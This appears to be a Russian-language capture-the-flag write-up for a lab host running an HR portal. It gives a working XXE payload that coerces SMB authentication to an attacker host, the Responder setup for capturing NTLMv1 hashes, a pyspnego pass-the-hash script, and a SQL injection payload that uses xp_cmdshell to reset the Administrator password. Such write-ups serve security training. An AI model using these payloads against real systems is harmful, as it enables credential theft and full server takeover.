# DMZ NTLM(10.10.10.30) ## Описание Здесь расположен корпоративный портал управления сотрудниками. Нам нужно получить как можно больше информации о сотрудниках, поэтому попробуй получить доступ к системе. Кстати, забыл сказать, у нас есть мощная машина для брутфорса хешей. ## Краткое описание уязвимостей Доступны функции для загрузки XML-документов. XXE &rarr; SSRF2SMB PassTheHash для прохождения веб-аутентификации с помощью NTLM-хеша. SQL-инъекция в параметрах поиска. Включенный `xp_cmdshell`. # Решение ## Исследование сервера На корневом URL имеется NTLM-аутентификация. ![NTLM-Web](https://i.imgur.com/R94TXNM.png) Перебором директорий можно найти `/documnent`, где имеется форма для загрузки XML-документа. ![XML Form](https://i.imgur.com/eFyCq45.png) Загрузка XML-документа с XXE на внешний ресурс вызывает HTTP-запрос. ![XML File](https://i.imgur.com/plfR5va.png) ![OOB](https://i.imgur.com/HiPGszd.png) ## Подготовка эксплоита и исполнение Загрузим полезную нагрузку в XML-файле с возможностью открытия файла по SMB и запустим Responder с `Challenge=1122334455667788` для получения NTLMv1. ```xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (ANY)> <!ENTITY xxe SYSTEM "file:////<host>/test">]><foo>&xxe;</foo> ``` ![Responder](https://i.imgur.com/uhFVE0U.png) Данный хеш необходимо отправить боту и получить MD4 hex-строку от него: `4b1e3ce3b920636efb5b18c7589bbef9` Полученный хеш нужно использовать на странице с NTLM-аутентификацией для атаки Pass The Hash. Пример Python-скрипта для создания NEGOTIATE-сообщений с использованием библиотеки [pyspnego](https://pypi.org/project/pyspnego/). ```Python import spnego import base64 client = spnego.client('Administrator', '4b1e3ce3b920636efb5b18c7589bbef9:4b1e3ce3b920636efb5b18c7589bbef9', protocol='ntlm') negotiate = client.step() print(base64.b64encode(negotiate).decode()) challenge = base64.b64decode(input("NTLM=")) authenticate = client.step(challenge) print(base64.b64encode(authenticate).decode()) ``` Подставим первое сообщение из скрипта в GET-запрос и скопируем полученный ответ от сервера. ![Negotiate](https://i.imgur.com/tzGgCFc.png) ![Script Result](https://i.imgur.com/lL0O3Yv.png) Полученную строку необходимо вставить в третье сообщение. ![Negotiate Last](https://i.imgur.com/vGpUFMq.png) Таким образом, получен доступ к новой панели с формой поиска сотрудников. ![HR Panel](https://i.imgur.com/xtIChWN.png) Введем в форму следующую полезную нагрузку для SQLi и выполнения CMD-команды для смены пароля у пользователя `Administrator` : `'; EXEC xp_cmdshell 'net user Administrator 1qaz@WSX' -- ` После чего можно выполнить вход по RDP и прочитать содержимое файла `C:\flag.txt` ![RDP Access](https://i.imgur.com/BmTLdL4.png)